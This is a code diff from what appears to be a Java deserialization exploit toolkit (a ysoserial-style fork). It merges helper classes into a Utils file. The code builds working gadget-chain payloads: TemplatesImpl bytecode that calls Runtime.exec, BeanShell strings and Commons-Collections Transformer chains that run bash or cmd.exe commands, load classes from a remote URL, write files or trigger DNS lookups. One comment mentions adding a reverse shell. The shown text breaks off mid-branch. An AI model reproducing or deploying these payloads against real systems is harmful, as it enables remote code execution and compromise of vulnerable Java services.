import sun.rmi.transport.TransportConstants;
|
|
||||||
|
|
||||||
import java.io.BufferedOutputStream;
|
|
||||||
import java.io.DataInputStream;
|
|
||||||
import java.io.DataOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.OutputStream;
|
|
||||||
import java.net.Socket;
|
|
||||||
|
|
||||||
public class JRMPUtils {
|
|
||||||
|
|
||||||
public static DataOutputStream handshake(DataInputStream in, Socket s) throws IOException {
|
|
||||||
int magic = in.readInt();
|
|
||||||
short version = in.readShort();
|
|
||||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
|
||||||
s.close();
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
OutputStream sockOut = s.getOutputStream();
|
|
||||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
|
||||||
return new DataOutputStream(bufOut);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,21 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
import java.io.Serializable;
|
|
||||||
import java.security.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 二次反序列化
|
|
||||||
*
|
|
||||||
* @author QI4L
|
|
||||||
*/
|
|
||||||
public class SignedObjectUtils {
|
|
||||||
public static SignedObject warpWithSignedObject(Serializable obj) throws Exception {
|
|
||||||
KeyPairGenerator keyPairGenerator;
|
|
||||||
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
|
|
||||||
keyPairGenerator.initialize(1024);
|
|
||||||
KeyPair keyPair = keyPairGenerator.genKeyPair();
|
|
||||||
PrivateKey privateKey = keyPair.getPrivate();
|
|
||||||
Signature signingEngine = Signature.getInstance("DSA");
|
|
||||||
return new java.security.SignedObject(obj, privateKey, signingEngine);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,57 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.Comparator;
|
|
||||||
import java.util.LinkedList;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
public class StringUtil {
|
|
||||||
|
|
||||||
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
|
||||||
final StringBuilder sb = new StringBuilder();
|
|
||||||
boolean first = true;
|
|
||||||
for (String s : strings) {
|
|
||||||
if (!first) sb.append(sep);
|
|
||||||
if (prefix != null) sb.append(prefix);
|
|
||||||
sb.append(s);
|
|
||||||
if (suffix != null) sb.append(suffix);
|
|
||||||
first = false;
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String repeat(String str, int num) {
|
|
||||||
final String[] strs = new String[num];
|
|
||||||
Arrays.fill(strs, str);
|
|
||||||
return join(Arrays.asList(strs), "", "", "");
|
|
||||||
}
|
|
||||||
|
|
||||||
public static List<String> formatTable(List<String[]> rows) {
|
|
||||||
final Integer[] maxLengths = new Integer[rows.get(0).length];
|
|
||||||
for (String[] row : rows) {
|
|
||||||
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
|
|
||||||
for (int i = 0; i < maxLengths.length; i++) {
|
|
||||||
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
|
|
||||||
maxLengths[i] = row[i].length();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
final List<String> lines = new LinkedList<>();
|
|
||||||
for (String[] row : rows) {
|
|
||||||
for (int i = 0; i < maxLengths.length; i++) {
|
|
||||||
final String pad = repeat(" ", maxLengths[i] - row[i].length());
|
|
||||||
row[i] = row[i] + pad;
|
|
||||||
}
|
|
||||||
lines.add(join(Arrays.asList(row), " ", "", ""));
|
|
||||||
}
|
|
||||||
return lines;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class ToStringComparator implements Comparator<Object> {
|
|
||||||
|
|
||||||
public int compare(Object o1, Object o2) {
|
|
||||||
return o1.toString().compareTo(o2.toString());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,108 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
|
||||||
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
|
||||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
|
||||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
|
||||||
import javassist.ClassClassPath;
|
|
||||||
import javassist.ClassPool;
|
|
||||||
import javassist.CtClass;
|
|
||||||
|
|
||||||
import java.io.Serializable;
|
|
||||||
|
|
||||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
|
||||||
public class TemplatesUtil {
|
|
||||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
|
||||||
|
|
||||||
static {
|
|
||||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
|
||||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
|
||||||
|
|
||||||
// for RMI remote loading
|
|
||||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object createTemplatesImpl(final String[] args) throws Exception {
|
|
||||||
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
|
|
||||||
return createTemplatesImpl(
|
|
||||||
args,
|
|
||||||
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
|
|
||||||
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
|
|
||||||
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
|
|
||||||
}
|
|
||||||
|
|
||||||
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
|
|
||||||
throws Exception {
|
|
||||||
final T templates = tplClass.getDeclaredConstructor().newInstance();
|
|
||||||
|
|
||||||
// use template gadget class
|
|
||||||
ClassPool pool = ClassPool.getDefault();
|
|
||||||
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
|
||||||
pool.insertClassPath(new ClassClassPath(abstTranslet));
|
|
||||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
|
||||||
// run command in static initializer
|
|
||||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
|
||||||
|
|
||||||
StringBuilder sb = new StringBuilder();
|
|
||||||
boolean first = true;
|
|
||||||
for (String arg : args) {
|
|
||||||
|
|
||||||
if (!first) {
|
|
||||||
sb.append(',');
|
|
||||||
} else {
|
|
||||||
first = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
sb.append('"');
|
|
||||||
sb.append(arg.replaceAll("\"", "\""));
|
|
||||||
sb.append('"');
|
|
||||||
}
|
|
||||||
|
|
||||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
|
|
||||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
|
||||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
|
||||||
CtClass superC = pool.get(abstTranslet.getName());
|
|
||||||
clazz.setSuperclass(superC);
|
|
||||||
|
|
||||||
final byte[] classBytes = clazz.toBytecode();
|
|
||||||
|
|
||||||
// inject class bytes into instance
|
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
|
||||||
classBytes, ClassFiles.classAsBytes(Foo.class)
|
|
||||||
});
|
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
|
||||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
|
||||||
Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
|
|
||||||
return templates;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
|
||||||
|
|
||||||
private static final long serialVersionUID = -5971610431559700674L;
|
|
||||||
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// required to make TemplatesImpl happy
|
|
||||||
public static class Foo implements Serializable {
|
|
||||||
|
|
||||||
private static final long serialVersionUID = 8207363842866235160L;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,40 +1,211 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
import com.sun.org.apache.bcel.internal.classfile.Utility;
|
import com.sun.org.apache.bcel.internal.classfile.Utility;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
|
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||||
|
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||||
import javassist.CannotCompileException;
|
import javassist.CannotCompileException;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||||
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.*;
|
||||||
import java.lang.reflect.Method;
|
import java.net.Socket;
|
||||||
import java.lang.reflect.Proxy;
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.*;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import java.util.zip.Deflater;
|
import java.util.zip.Deflater;
|
||||||
import java.util.zip.GZIPOutputStream;
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.lang.reflect.*;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||||
import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler;
|
import static com.qi4l.JYso.gadgets.utils.Gadgets.createMemoizedInvocationHandler;
|
||||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod;
|
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertMethod;
|
||||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
|
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
|
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes;
|
||||||
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class Utils {
|
public class Utils {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(Utils.class);
|
private static final Logger log = LogManager.getLogger(Utils.class);
|
||||||
|
|
||||||
|
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||||
|
|
||||||
|
static {
|
||||||
|
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||||
|
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int getSubarrayIndex(byte[] haystack, byte[] needle) {
|
||||||
|
outer:
|
||||||
|
for (int i = 0; i <= haystack.length - needle.length; ++i) {
|
||||||
|
for (int j = 0; j < needle.length; ++j) {
|
||||||
|
if (haystack[i + j] != needle[j]) {
|
||||||
|
continue outer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] deleteAt(byte[] bs, int index) {
|
||||||
|
int length = bs.length - 1;
|
||||||
|
byte[] ret = new byte[length];
|
||||||
|
|
||||||
|
if (index == bs.length - 1) {
|
||||||
|
System.arraycopy(bs, 0, ret, 0, length);
|
||||||
|
} else if (index < bs.length - 1) {
|
||||||
|
for (int i = index; i < length; i++) {
|
||||||
|
bs[i] = bs[i + 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
System.arraycopy(bs, 0, ret, 0, length);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
||||||
|
final StringBuilder sb = new StringBuilder();
|
||||||
|
boolean first = true;
|
||||||
|
for (String s : strings) {
|
||||||
|
if (!first) sb.append(sep);
|
||||||
|
if (prefix != null) sb.append(prefix);
|
||||||
|
sb.append(s);
|
||||||
|
if (suffix != null) sb.append(suffix);
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String repeat(String str, int num) {
|
||||||
|
final String[] strs = new String[num];
|
||||||
|
Arrays.fill(strs, str);
|
||||||
|
return join(Arrays.asList(strs), "", "", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<String> formatTable(List<String[]> rows) {
|
||||||
|
final Integer[] maxLengths = new Integer[rows.get(0).length];
|
||||||
|
for (String[] row : rows) {
|
||||||
|
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
|
||||||
|
for (int i = 0; i < maxLengths.length; i++) {
|
||||||
|
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
|
||||||
|
maxLengths[i] = row[i].length();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final List<String> lines = new LinkedList<>();
|
||||||
|
for (String[] row : rows) {
|
||||||
|
for (int i = 0; i < maxLengths.length; i++) {
|
||||||
|
final String pad = repeat(" ", maxLengths[i] - row[i].length());
|
||||||
|
row[i] = row[i] + pad;
|
||||||
|
}
|
||||||
|
lines.add(join(Arrays.asList(row), " ", "", ""));
|
||||||
|
}
|
||||||
|
return lines;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class ToStringComparator implements Comparator<Object> {
|
||||||
|
|
||||||
|
public int compare(Object o1, Object o2) {
|
||||||
|
return o1.toString().compareTo(o2.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object createTemplatesImpl(final String[] args) throws Exception {
|
||||||
|
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
|
||||||
|
return createTemplatesImpl(
|
||||||
|
args,
|
||||||
|
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
|
||||||
|
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
|
||||||
|
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
|
||||||
|
}
|
||||||
|
|
||||||
|
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
|
||||||
|
throws Exception {
|
||||||
|
final T templates = tplClass.getDeclaredConstructor().newInstance();
|
||||||
|
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
||||||
|
pool.insertClassPath(new ClassClassPath(abstTranslet));
|
||||||
|
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
boolean first = true;
|
||||||
|
for (String arg : args) {
|
||||||
|
|
||||||
|
if (!first) {
|
||||||
|
sb.append(',');
|
||||||
|
} else {
|
||||||
|
first = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
sb.append('"');
|
||||||
|
sb.append(arg.replaceAll("\"", "\""));
|
||||||
|
sb.append('"');
|
||||||
|
}
|
||||||
|
|
||||||
|
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
|
||||||
|
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||||
|
CtClass superC = pool.get(abstTranslet.getName());
|
||||||
|
clazz.setSuperclass(superC);
|
||||||
|
|
||||||
|
final byte[] classBytes = clazz.toBytecode();
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||||
|
classBytes, ClassFiles.classAsBytes(Foo.class)
|
||||||
|
});
|
||||||
|
|
||||||
|
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||||
|
Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
|
||||||
|
return templates;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||||
|
|
||||||
|
private static final long serialVersionUID = -5971610431559700674L;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Foo implements Serializable {
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 8207363842866235160L;
|
||||||
|
}
|
||||||
|
|
||||||
public static Map<String, Object> createMap(final String key, final Object val) {
|
public static Map<String, Object> createMap(final String key, final Object val) {
|
||||||
final Map<String, Object> map = new HashMap<>();
|
final Map<String, Object> map = new HashMap<>();
|
||||||
map.put(key, val);
|
map.put(key, val);
|
||||||
return map;
|
return map;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
|
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
|
||||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||||
}
|
}
|
||||||
@@ -45,7 +216,7 @@ public class Utils {
|
|||||||
if (ifaces.length > 0) {
|
if (ifaces.length > 0) {
|
||||||
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
|
||||||
}
|
}
|
||||||
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
|
return iface.cast(Proxy.newProxyInstance(Utils.class.getClassLoader(), allIfaces, ih));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
|
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
|
||||||
@@ -111,7 +282,6 @@ public class Utils {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void saveCtClassToFile(CtClass ctClass) throws Exception {
|
public static void saveCtClassToFile(CtClass ctClass) throws Exception {
|
||||||
// 总体在进行类字节码的缩短
|
|
||||||
shrinkBytes(ctClass);
|
shrinkBytes(ctClass);
|
||||||
byte[] classBytes = ctClass.toBytecode();
|
byte[] classBytes = ctClass.toBytecode();
|
||||||
}
|
}
|
||||||
@@ -154,7 +324,6 @@ public class Utils {
|
|||||||
gzipOutputStream.close();
|
gzipOutputStream.close();
|
||||||
|
|
||||||
String b64 = Base64.encodeBase64String(outBuf.toByteArray());
|
String b64 = Base64.encodeBase64String(outBuf.toByteArray());
|
||||||
// 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长
|
|
||||||
StringBuilder code = new StringBuilder();
|
StringBuilder code = new StringBuilder();
|
||||||
if (b64.length() > 60000) {
|
if (b64.length() > 60000) {
|
||||||
String[] arrays = splitString(b64, 60000);
|
String[] arrays = splitString(b64, 60000);
|
||||||
@@ -169,7 +338,6 @@ public class Utils {
|
|||||||
code.append("b64=\"").append(b64).append("\";\n");
|
code.append("b64=\"").append(b64).append("\";\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
// 将赋值的代码插入到 ClassLoaderTemplate 中
|
|
||||||
insertMethod(ctClass, "initClassBytes", code.toString());
|
insertMethod(ctClass, "initClassBytes", code.toString());
|
||||||
return ctClass;
|
return ctClass;
|
||||||
}
|
}
|
||||||
@@ -179,7 +347,6 @@ public class Utils {
|
|||||||
File parentDir = file.getParentFile();
|
File parentDir = file.getParentFile();
|
||||||
if (!parentDir.exists()) {
|
if (!parentDir.exists()) {
|
||||||
if (!parentDir.mkdirs()) {
|
if (!parentDir.mkdirs()) {
|
||||||
// 创建文件夹失败
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -241,7 +408,6 @@ public class Utils {
|
|||||||
bytes = getClassBytes(clazz);
|
bytes = getClassBytes(clazz);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return base64Encode(bytes);
|
return base64Encode(bytes);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -348,4 +514,149 @@ public class Utils {
|
|||||||
compresser.end();
|
compresser.end();
|
||||||
return output;
|
return output;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static java.security.SignedObject warpWithSignedObject(Serializable obj) throws Exception {
|
||||||
|
java.security.KeyPairGenerator keyPairGenerator;
|
||||||
|
keyPairGenerator = java.security.KeyPairGenerator.getInstance("DSA");
|
||||||
|
keyPairGenerator.initialize(1024);
|
||||||
|
java.security.KeyPair keyPair = keyPairGenerator.genKeyPair();
|
||||||
|
java.security.PrivateKey privateKey = keyPair.getPrivate();
|
||||||
|
java.security.Signature signingEngine = java.security.Signature.getInstance("DSA");
|
||||||
|
return new java.security.SignedObject(obj, privateKey, signingEngine);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DataOutputStream handshake(DataInputStream in, Socket s) throws IOException {
|
||||||
|
int magic = in.readInt();
|
||||||
|
short version = in.readShort();
|
||||||
|
if (magic != sun.rmi.transport.TransportConstants.Magic || version != sun.rmi.transport.TransportConstants.Version) {
|
||||||
|
s.close();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
return new DataOutputStream(bufOut);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] toByteArray(InputStream in) throws IOException {
|
||||||
|
byte[] classBytes;
|
||||||
|
classBytes = new byte[in.available()];
|
||||||
|
int bytesRead = in.read(classBytes);
|
||||||
|
if (bytesRead == -1) {
|
||||||
|
throw new EOFException("流已结束,未读取到数据");
|
||||||
|
}
|
||||||
|
in.close();
|
||||||
|
return classBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String bytesToHexString(byte[] bArray, int length) {
|
||||||
|
StringBuilder sb = new StringBuilder(length);
|
||||||
|
|
||||||
|
for (int i = 0; i < length; ++i) {
|
||||||
|
String sTemp = Integer.toHexString(255 & bArray[i]);
|
||||||
|
if (sTemp.length() < 2) {
|
||||||
|
sb.append(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
sb.append(sTemp.toUpperCase());
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String makeBeanShellPayload(String command) {
|
||||||
|
if (command.startsWith("TS-"))
|
||||||
|
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);";
|
||||||
|
if (command.startsWith("RC-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();";
|
||||||
|
}
|
||||||
|
if (command.startsWith("WF-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());";
|
||||||
|
}
|
||||||
|
|
||||||
|
return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" +
|
||||||
|
join(
|
||||||
|
java.util.Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Transformer[] makeTransformer(String command) throws Exception {
|
||||||
|
Transformer[] transformers;
|
||||||
|
String[] execArgs = {command};
|
||||||
|
|
||||||
|
if (command.startsWith("TS-")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),};
|
||||||
|
} else if (command.startsWith("RC-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)};
|
||||||
|
} else if (command.startsWith("WF-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(java.io.FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)};
|
||||||
|
} else if (command.startsWith("PB-lin")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
||||||
|
} else if (command.startsWith("PB-win")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
||||||
|
} else if (command.startsWith("SE-")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})};
|
||||||
|
} else if (command.startsWith("DL-")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)};
|
||||||
|
} else if (command.startsWith("HL-")) {
|
||||||
|
